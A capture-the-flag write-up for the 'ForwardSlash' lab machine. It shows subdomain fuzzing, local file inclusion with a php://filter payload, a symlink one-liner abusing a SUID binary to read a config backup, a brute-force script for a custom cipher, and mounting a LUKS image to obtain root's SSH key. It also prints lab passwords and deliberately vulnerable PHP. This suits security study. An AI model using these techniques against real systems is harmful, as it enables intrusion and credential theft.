
Summary
- We find backup sub-domain using ffuf which contains a disabled form with LFI vulnerability.
 - We use 
php://filterwrapper to read a php file containing a user password. - We analyze a SUID binary and create a 
soft linkusing bash one-liner to read a config backup file. - We decrypt an encrypted message using brute force and looking for common words in decrypted message.
 - Finally, we decrypt and mount a 
LUKS encrypted filewhich contains id_rsa private key of root. 
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# nmap -sC -sV 10.10.10.183
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-04 15:12 EDT
Nmap scan report for 10.10.10.183
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.54 seconds
/etc/hosts
we get a redirect to forwardslash.htb on port 80, so lets add it in /etc/hosts file to access the webpage

Port 80
the index.php page doesn’t contain any links

gobuster
1
gobuster dir -u forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100

very quickly I found a file note.txt, you might get stuck here if you don’t check for txt files

FFUF
In the note, chiv is taking about a backup site, so lets brute force for sub-domains
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~# ffuf -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 0
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v1.1.0-git
________________________________________________
 :: Method           : GET
 :: URL              : http://10.10.10.183
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.forwardslash.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 0
________________________________________________
backup                  [Status: 302, Size: 33, Words: 6, Lines: 1]
we get a result pretty quickly, the backup site is backup.forwardslash.htb 
 to access this site we need to add it in /etc/hosts file

SubDomain
backup site
There is a Login and SignUp page. Register and Login to get to welcome.php



Disabled Form
After login only the profilepicture.php page looks interesting

The URL form field and the Submit button are disabled. To enable them, I removed disabled="" from the input tags using Inspect Element

I intercepted the POST request in burp and used Repeater to try different URL inputs
Local File Inclusion
Identification
sending /etc/passwd as URL input gave the /etc/passwd file which means we have LFI


now that we can read files on the machine, lets find some interesting files to read using gobuster
gobuster
1
gobuster dir -u backup.forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100

we have dev directory, visiting dev/index.php gives 403 Access Denied
 it says access denied from my IP so probably /dev can only be accessed from localhost

Reading PHP File
We can try to read dev/index.php using LFI


we get Permission Denied; not that way ;), we can try using php://filter wrapper
1
php://filter/convert.base64-encode/resource=dev/index.php
using this we get base64 encoded data, we can decode it to read the content of php file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
    exit;
}
?>
<html>
    <h1>XML Api Test</h1>
    <h3>This is our api test for when our new website gets refurbished</h3>
    <form action="/dev/index.php" method="get" id="xmltest">
        <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
    <request>test</request>
</api>
</textarea>
        <input type="submit">
    </form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
    $reg = '/ftp:\/\/[\s\S]*\/\"/';
    //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
    if (preg_match($reg, $_GET['xml'], $match)) {
        $ip = explode('/', $match[0])[2];
        echo $ip;
        error_log("Connecting");
        $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
        error_log("Logging in");
        if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
            error_log("Getting file");
            echo ftp_get_string($conn_id, "debug.txt");
        }
        exit;
    }
    libxml_disable_entity_loader (false);
    $xmlfile = $_GET["xml"];
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $api = simplexml_import_dom($dom);
    $req = $api->request;
    echo "-----output-----<br>\r\n";
    echo "$req";
}
function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        rewind($temp);
        return stream_get_contents($temp);
    }
    else {
        return false;
    }
}
?>
we found chiv’s password in the php code –> N0bodyL1kesBack/

User PrivEsc
SSH
We can SSH as chiv using the password found above 
 chiv doesn’t have user.txt so we need to escalate to user pain 
 sudo -l revealed that chiv is not a sudoer
SUID binary
I found a suid binary whose owner was pain so this is definitely the way to escalate 
 find / -perm -u=s -user pain 2>/dev/null

Binary Analysis
I downloaded the binary and analyzed it using IDA
 so basically it just reads the content of a file whose name is md5sum of the current time HH:MM:SS
 rather than using IDA, we can also use ltrace to figure this out

lets verify this by creating a file with the correct name and then running /usr/bin/backup using bash one-liner
1
echo "something" > $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup

the output contains the content of the file, so its verified that /usr/bin/backup just reads the file
config file
I also found a config backup file /var/backups/config.php.bak owned by pain 
 find / -user pain 2>/dev/null


from the /var/backups/note.txt file, we know that config.php.bak has a password so we need to read it somehow
Soft Link
To read config file, we just need to create a soft link with md5sum name that points to the config file
 for some reason this only worked in chiv’s home directory and didn’t worked in /tmp
1
ln -s /var/backups/config.php.bak $(date | cut -d ' ' -f 4 | tr -d '\n' | md5sum | cut -d ' ' -f 1); /usr/bin/backup

We got pain’s password for mysql login –> db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704 
 but I was not able to open mysql using these creds 
 mysql -u pain -p

then I tried to switch user using the same password and it was successful
 su - pain

PrivEsc to root
Crypto


encrypter.py contains the following encrypt and decrypt functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)
def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
BruteForce
After analyzing the encrypt and decrypt functions, I realized that it is not possible to recreate the key or decrypt without a key 
 so I just wrote bruteForce.py which used rockyou.txt to decrypt the ciphertext 
 it checks if the decrypted text contain words like key, pass, the etc. to know if the key is correct or not
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def decrypt(key, msg):
	key = list(key)
	msg = list(msg)
	for char_key in reversed(key):
		for i in reversed(range(len(msg))):
			if i == 0:
				tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
			else:
				tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
			while tmp < 0:
				tmp += 256
			msg[i] = chr(tmp)
	return ''.join(msg)
c = open('encryptorinator/ciphertext','r')
ciphertext = c.read()
f = open('/usr/share/wordlists/rockyou.txt','rb')
passwords = f.readlines()
wordsInMsg = ['pass', 'crypto', 'message', 'key', 'Key', 'the', 'The']
for p in passwords:
	passwd = p[:-1]
	plaintext = decrypt(passwd,ciphertext)
	flag = 0
	for i in wordsInMsg:
		if i in plaintext:
			print(passwd)
			print(plaintext)
			flag = 1
			break
	if flag == 1:
		break

the decrypted ciphertext gave us the key cB!6%sdH8Lj^@Y*$C2cf for encrypted image in /var/backups/recovery/
LUKS

it’s a LUKS encrypted file, I searched how to decrypt it and this result was useful
https://askubuntu.com/questions/835525/how-to-mount-luks-encrypted-file

mount is usually only allowed to run as root so i did sudo -l to see the commands that pain can run as root

finally i used the following commands to decrypt and mount the LUKS encrypted file
1
2
3
sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
mkdir mnt
sudo /bin/mount /dev/mapper/backup ./mnt/

we can now use this id_rsa to SSH as root

